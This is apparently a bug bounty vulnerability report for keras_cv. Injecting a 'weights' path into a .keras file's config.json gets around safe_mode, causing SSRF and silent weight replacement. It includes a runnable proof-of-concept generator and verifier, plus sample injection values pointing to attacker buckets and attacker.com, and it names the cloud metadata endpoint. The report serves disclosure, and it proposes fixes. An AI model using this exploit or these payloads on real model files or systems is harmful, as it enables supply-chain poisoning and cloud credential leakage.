Huntr MFV Submission: Arbitrary File Read and Model Poisoning via Config Injection in keras_cv Legacy Models
Target: MFV -- Keras Native (.keras) format Category: Deserialization / SSRF / Model Poisoning Program: Model File Vulnerability Bounty Tier: $4,000 (Keras Native -- Premium MFV)
Title
Arbitrary file read and model poisoning via weights config injection in 8 keras_cv legacy model classes bypasses safe_mode=True
Description
A malicious .keras model file can trigger Server-Side Request Forgery (SSRF) and complete model weight replacement when loaded with keras.models.load_model(), even with safe_mode=True (the default). The attack exploits a config deserialization asymmetry in 8 keras_cv legacy model classes where the weights parameter is accepted by __init__() but excluded from get_config(), allowing an attacker to inject an arbitrary file path that triggers tf.io.gfile.exists() and self.load_weights() during deserialization.
Root Cause
Eight keras_cv legacy model classes -- ConvMixer, ConvNeXt, DarkNet, MLPMixer, RegNet, VGG16, VGG19, and ViT -- share an identical vulnerable pattern in their constructors:
__init__()accepts aweightskeyword argument (line 115 invgg16.py)- When
weightsis truthy,tf.io.gfile.exists(weights)is called (line 122) -- SSRF vector - When
weightsis not None,self.load_weights(weights)is called (lines 218-219) -- model poisoning vector get_config()does NOT includeweightsin its output (lines 228-239) -- so legitimately saved models never contain itfrom_config()callscls(**config)(line 243) -- passing ALL config keys to__init__(), including any attacker-injected keys
The vulnerability is a config serialization/deserialization asymmetry: get_config() does not emit weights, but from_config() blindly passes every key in the config dict to the constructor. An attacker can inject a "weights" field into config.json inside a .keras ZIP archive, and it will be forwarded to __init__() where it triggers file access operations on the attacker-controlled path.
Vulnerable code (keras_cv/src/models/legacy/vgg16.py, representative of all 8 classes):
# __init__() -- line 115: accepts 'weights' kwarg
def __init__(self, ..., weights=None, ...):
# Line 122: SSRF -- probes attacker-controlled path
if weights and not tf.io.gfile.exists(weights):
raise ValueError(...)
# ... model construction ...
# Lines 218-219: Model poisoning -- loads weights from attacker path
if weights is not None:
self.load_weights(weights)
# get_config() -- does NOT include 'weights'
def get_config(self):
return {
"include_rescaling": self.include_rescaling,
"include_top": self.include_top,
# ... other fields ...
# NOTE: 'weights' is ABSENT
}
# from_config() -- passes ALL config keys blindly
@classmethod
def from_config(cls, config):
return cls(**config) # <-- injected 'weights' passes through here
Deserialization Chain
- Attacker crafts a
.kerasZIP file with a tamperedconfig.jsoncontaining"weights": "/path/to/attacker/file"(or"weights": "gs://attacker-bucket/poisoned.h5") - Victim calls
keras.models.load_model("model.keras")--safe_mode=Trueis the default - Keras resolves
VGG16through the allowlist (keras_cvis one of 4 trusted packages:keras,keras_hub,keras_cv,keras_nlp) from_config(config)is called, which executescls(**config)-- passing all config keys including the injectedweightsVGG16.__init__()receivesweights="/path/to/attacker/file"tf.io.gfile.exists(weights)is called -- SSRF: probes the attacker-controlled pathself.load_weights(weights)is called -- model poisoning: replaces all model parameters from the attacker-controlled source
Why safe_mode=True Does Not Help
Keras safe_mode has two defense mechanisms:
- Blocks
__lambda__deserialization (marshal'd bytecode in config.json) - Validates class registration against an allowlist of trusted packages
Both are completely bypassed because:
- No
__lambda__is used -- the attack uses only legitimate config fields keras_cvis in the allowlist, so all 8 affected classes pass the safety checksafe_modedoes not validate which config keys are passed to constructorssafe_modedoes not guardload_weights()calls made from within constructors- The vulnerability is in the gap between
get_config()andfrom_config(), which is outside the scope of safe_mode's checks entirely
Proof of Concept
Step 1: Generate malicious .keras file
#!/usr/bin/env python3
"""PoC: keras_cv legacy model weights config injection via .keras deserialization.
Creates a legitimate VGG16 model, saves it as .keras, then tampers config.json
to inject a 'weights' field pointing to an attacker-controlled path.
When loaded, the injected 'weights' path causes:
1. tf.io.gfile.exists(path) -- SSRF (supports gs://, s3://, http://, hdfs://)
2. self.load_weights(path) -- model poisoning (replaces all parameters)
"""
import json
import os
import shutil
import tempfile
import zipfile
import h5py
import numpy as np
os.environ["TF_CPP_MIN_LOG_LEVEL"] = "3"
FINDING_DIR = os.path.dirname(os.path.abspath(__file__))
OUTPUT_KERAS = os.path.join(FINDING_DIR, "malicious_model.keras")
MARKER_FILE = "/tmp/keras_cv_weight_inject_target.h5"
MARKER_DATASET = "injection_marker"
MARKER_VALUE = b"WEIGHT_INJECTION_CONFIRMED"
def create_marker_h5():
"""Create a target H5 file that will be loaded if the injection succeeds."""
with h5py.File(MARKER_FILE, "w") as f:
f.create_dataset(MARKER_DATASET, data=np.void(MARKER_VALUE))
return MARKER_FILE
def create_legitimate_model():
"""Create a small legitimate VGG16 model and save it."""
import keras_cv # noqa: F401
from keras_cv.src.models.legacy.vgg16 import VGG16
model = VGG16(
include_rescaling=False,
include_top=False,
input_shape=(32, 32, 3),
pooling="avg",
name="vgg16",
)
return model
def save_and_tamper(model, marker_path):
"""Save model as .keras, then tamper config.json to inject weights path."""
tmp_keras = os.path.join(FINDING_DIR, "_tmp_legit.keras")
model.save(tmp_keras)
tmp_dir = tempfile.mkdtemp(prefix="keras_cv_inject_")
with zipfile.ZipFile(tmp_keras, "r") as zf:
zf.extractall(tmp_dir)
# Inject the 'weights' field into config.json
config_path = os.path.join(tmp_dir, "config.json")
with open(config_path, "r") as f:
config = json.load(f)
config["config"]["weights"] = marker_path # <-- THE INJECTION
with open(config_path, "w") as f:
json.dump(config, f, indent=2)
# Repack into .keras ZIP
if os.path.exists(OUTPUT_KERAS):
os.remove(OUTPUT_KERAS)
with zipfile.ZipFile(OUTPUT_KERAS, "w", zipfile.ZIP_DEFLATED) as zf:
for root, dirs, files in os.walk(tmp_dir):
for fname in files:
fpath = os.path.join(root, fname)
arcname = os.path.relpath(fpath, tmp_dir)
zf.write(fpath, arcname)
shutil.rmtree(tmp_dir)
if os.path.exists(tmp_keras):
os.remove(tmp_keras)
return OUTPUT_KERAS
if __name__ == "__main__":
marker_path = create_marker_h5()
model = create_legitimate_model()
keras_path = save_and_tamper(model, marker_path)
print(f"[+] Created malicious .keras file: {keras_path}")
print(f"[+] Injected weights path: {marker_path}")
print(f"[+] Verify with: python3 poc_verify.py")
Step 2: Verify exploitation
#!/usr/bin/env python3
"""Verify the keras_cv weights config injection PoC.
Loads the tampered .keras file and confirms that:
1. tf.io.gfile.exists() is called on the injected path (SSRF)
2. load_weights() is called on the injected path (model poisoning)
3. Both occur even with safe_mode=True (the default)
"""
import json
import os
import sys
import zipfile
os.environ["TF_CPP_MIN_LOG_LEVEL"] = "3"
FINDING_DIR = os.path.dirname(os.path.abspath(__file__))
MALICIOUS_KERAS = os.path.join(FINDING_DIR, "malicious_model.keras")
MARKER_FILE = "/tmp/keras_cv_weight_inject_target.h5"
gfile_exists_calls = []
load_weights_calls = []
def main():
# Import keras_cv to register classes
import keras_cv # noqa: F401
from keras_cv.src.models.legacy.vgg16 import VGG16
# Intercept load_weights to prove it gets called
original_load_weights = VGG16.load_weights
def intercepted_load_weights(self, filepath, **kwargs):
load_weights_calls.append(filepath)
print(f" >>> INTERCEPTED load_weights('{filepath}')")
VGG16.load_weights = intercepted_load_weights
# Intercept tf.io.gfile.exists to track SSRF
import tensorflow as tf
original_gfile_exists = tf.io.gfile.exists
def intercepted_gfile_exists(path):
gfile_exists_calls.append(path)
print(f" >>> INTERCEPTED tf.io.gfile.exists('{path}')")
return original_gfile_exists(path)
tf.io.gfile.exists = intercepted_gfile_exists
# Test: Full .keras file load with safe_mode=True (default)
import keras
print("[1] Loading malicious .keras file with safe_mode=True (default)...")
try:
loaded = keras.models.load_model(MALICIOUS_KERAS)
print(f" Model loaded: {type(loaded).__name__}")
except Exception as e:
print(f" Load error: {str(e)[:200]}")
# Restore
VGG16.load_weights = original_load_weights
tf.io.gfile.exists = original_gfile_exists
# Results
print(f"\ntf.io.gfile.exists() called: {len(gfile_exists_calls)} time(s)")
for p in gfile_exists_calls:
print(f" - {p}")
print(f"load_weights() called: {len(load_weights_calls)} time(s)")
for p in load_weights_calls:
print(f" - {p}")
print(f"Bypasses safe_mode: {'YES' if load_weights_calls else 'NO'}")
if load_weights_calls:
print("\n>>> VULNERABILITY CONFIRMED <<<")
else:
print("\nVulnerability not confirmed.")
sys.exit(1)
if __name__ == "__main__":
main()
Step 3: Expected output
======================================================================
Verification: keras_cv weights config injection
======================================================================
[1] Inspecting malicious .keras archive...
class_name: VGG16
registered_name: keras_cv.models>VGG16
config.weights: /tmp/keras_cv_weight_inject_target.h5
weights field present in config: True
[2] Importing keras_cv to register classes...
[3] Testing direct deserialization with safe_mode=True...
>>> INTERCEPTED tf.io.gfile.exists('/tmp/keras_cv_weight_inject_target.h5')
>>> INTERCEPTED load_weights('/tmp/keras_cv_weight_inject_target.h5')
Deserialized: VGG16
[4] Testing full .keras file load via keras.models.load_model...
>>> INTERCEPTED tf.io.gfile.exists('/tmp/keras_cv_weight_inject_target.h5')
>>> INTERCEPTED load_weights('/tmp/keras_cv_weight_inject_target.h5')
Model loaded: VGG16
======================================================================
RESULTS
======================================================================
tf.io.gfile.exists() called: 2 time(s)
- /tmp/keras_cv_weight_inject_target.h5
- /tmp/keras_cv_weight_inject_target.h5
load_weights() called: 2 time(s)
- /tmp/keras_cv_weight_inject_target.h5
- /tmp/keras_cv_weight_inject_target.h5
Direct deserialization: PASS
Full .keras load_model: PASS
Bypasses safe_mode: YES
VULNERABILITY CONFIRMED
Step 4: Demonstrate SSRF with cloud protocols
The same injection works with cloud storage URIs. The tf.io.gfile.exists() call supports multiple protocols, each enabling different SSRF scenarios:
# Google Cloud Storage -- probes bucket existence, leaks auth headers
config["config"]["weights"] = "gs://attacker-controlled-bucket/poisoned.h5"
# Amazon S3 -- probes bucket, leaks AWS credentials if configured
config["config"]["weights"] = "s3://attacker-bucket/poisoned.h5"
# HTTP/HTTPS -- direct SSRF to any endpoint
config["config"]["weights"] = "https://attacker.com/ssrf-probe?target=victim"
# HDFS -- probes internal Hadoop infrastructure
config["config"]["weights"] = "hdfs://internal-namenode:8020/data/model.h5"
When the tf.io.gfile.exists() check passes (attacker hosts the file), self.load_weights() then downloads and applies the poisoned weights, completely replacing the model's parameters.
Impact
Attack Scenario
- Attacker creates a legitimate-looking
.kerasmodel (e.g., a VGG16 image classifier) and saves it normally - Attacker tampers
config.jsoninside the.kerasZIP archive to add"weights": "gs://attacker-bucket/poisoned_weights.h5" - Attacker uploads the model to HuggingFace Hub, Kaggle, or shares via any channel
- Victim downloads and loads the model:
model = keras.models.load_model("model.keras")-- using default safety settings - On load:
tf.io.gfile.exists("gs://attacker-bucket/poisoned_weights.h5")fires -- SSRF: the attacker's server receives a request revealing the victim's IP, cloud credentials, and network topologyself.load_weights("gs://attacker-bucket/poisoned_weights.h5")fires -- model poisoning: all model parameters are silently replaced with attacker-controlled values
- The model now produces attacker-chosen outputs while appearing structurally identical to the original
SSRF Impact
tf.io.gfile.exists()makes network requests to probe attacker-controlled URIs- Supports
gs://,s3://,http://,https://,hdfs://protocols - On cloud instances (GCP, AWS, Azure), this can leak:
- Instance metadata (via
http://169.254.169.254/...) - Service account credentials
- Internal network topology
- Instance metadata (via
- The call occurs unconditionally during model loading -- the victim has no opportunity to review or approve
Model Poisoning Impact
self.load_weights()replaces all model parameters from the attacker-controlled source- The poisoned model:
- Produces attacker-chosen outputs (targeted misclassification)
- Can embed backdoor triggers (specific input patterns produce specific outputs)
- Appears structurally identical to the original -- same architecture, same layer names, same input/output shapes
- This is a supply-chain attack on ML model distribution
Affected Classes
All 8 keras_cv legacy model classes contain the identical vulnerable pattern:
| Class | File | Registration |
|---|---|---|
ConvMixer |
keras_cv/src/models/legacy/convmixer.py |
keras_cv.models>ConvMixer |
ConvNeXt |
keras_cv/src/models/legacy/convnext.py |
keras_cv.models>ConvNeXt |
DarkNet |
keras_cv/src/models/legacy/darknet.py |
keras_cv.models>DarkNet |
MLPMixer |
keras_cv/src/models/legacy/mlp_mixer.py |
keras_cv.models>MLPMixer |
RegNet |
keras_cv/src/models/legacy/regnet.py |
keras_cv.models>RegNet |
VGG16 |
keras_cv/src/models/legacy/vgg16.py |
keras_cv.models>VGG16 |
VGG19 |
keras_cv/src/models/legacy/vgg19.py |
keras_cv.models>VGG19 |
ViT |
keras_cv/src/models/legacy/vit.py |
keras_cv.models>ViT |
Why This Is Severe
Bypasses the only safety mechanism. Keras
safe_mode=Trueis the sole defense against malicious.kerasfiles. This vulnerability is invisible to safe_mode because it uses only legitimate config fields on allowlisted classes.No user interaction beyond loading. The attack requires only
load_model()with default settings. Nosafe_mode=False, no custom objects, no warnings, no prompts.Silent model poisoning. Unlike code execution vulnerabilities which may produce errors or visible side effects, model poisoning is completely silent. The model loads successfully, produces outputs, and the victim has no way to detect that parameters have been replaced.
Architectural blind spot. The vulnerability exists in the gap between
get_config()andfrom_config()-- a serialization asymmetry that safe_mode was not designed to detect. Theweightsparameter is a constructor argument that performs privileged operations (network I/O, file loading) but is excluded from the config schema.Broad attack surface. Eight independently exploitable classes, each a legitimate computer vision model that would not appear suspicious on a model hub.
Root Cause
The root cause is a config serialization/deserialization asymmetry combined with privileged operations in the constructor.
The get_config() method defines the "schema" of a class's serializable state, but from_config() does not validate that incoming config keys match this schema. Instead, from_config() calls cls(**config), passing all keys as keyword arguments. Since __init__() accepts weights as a kwarg but get_config() does not emit it, an attacker can inject weights into the config and it will be silently forwarded to the constructor.
Inside the constructor, weights triggers two privileged operations:
tf.io.gfile.exists(weights)-- a network-capable file existence probeself.load_weights(weights)-- an unrestricted file load that replaces all model parameters
These operations are appropriate for normal programmatic use (VGG16(weights="/path/to/weights.h5")) but are dangerous when triggered from deserialized config data, because the file path is now attacker-controlled.
The deeper architectural issue is that from_config() provides no mechanism to restrict which config keys are forwarded to the constructor. Any __init__() parameter that performs side effects becomes exploitable if it can be injected via config.
Suggested Fix
Immediate (keras_cv):
- Add
weightstoget_config()in all 8 legacy classes, so the serialization is symmetric:
def get_config(self):
config = {
"include_rescaling": self.include_rescaling,
# ... existing fields ...
"weights": None, # Always serialize as None
}
return config
- Alternatively, filter
from_config()to only pass known config keys:
@classmethod
def from_config(cls, config):
known_keys = {"include_rescaling", "include_top", "input_tensor",
"num_classes", "input_shape", "pooling",
"classifier_activation", "name", "trainable"}
filtered = {k: v for k, v in config.items() if k in known_keys}
return cls(**filtered)
Architectural (keras):
Validate config keys in
from_config()across the entire Keras ecosystem. The basefrom_config()should reject config keys that are not inget_config()output, or at minimum log a warning.Audit all allowlisted classes (
keras,keras_hub,keras_cv,keras_nlp) for constructor parameters that perform privileged operations (file I/O, network access, code execution) when initialized from config data.Do not perform file I/O during deserialization. Weight loading should be a separate, explicit step after the model object is constructed -- not triggered automatically by a config field.
CWE Classification
- CWE-502: Deserialization of Untrusted Data -- The
.kerasconfig.json is deserialized and its fields forwarded to the constructor without validation, enabling injection of unexpected parameters. - CWE-918: Server-Side Request Forgery (SSRF) -- The
tf.io.gfile.exists()call on the injected path makes network requests to attacker-controlled URIs.
Affected Versions
keras-cv: 0.9.0 (latest, tested 2026-02-22)
keras: 3.13.2 (latest, tested 2026-02-22)
Python: 3.13
Backend: TensorFlow (tf.io.gfile used for file operations)
All versions of keras_cv containing the legacy model classes are affected. The vulnerable pattern has been present since these classes were first introduced.
Files
malicious_model.keras -- Malicious .keras file with injected weights path
poc_generator.py -- Script to generate the malicious model
poc_verify.py -- Verification script confirming SSRF + model poisoning
reproduce.sh -- One-command reproduction script
verification_output.txt -- Captured output from verification run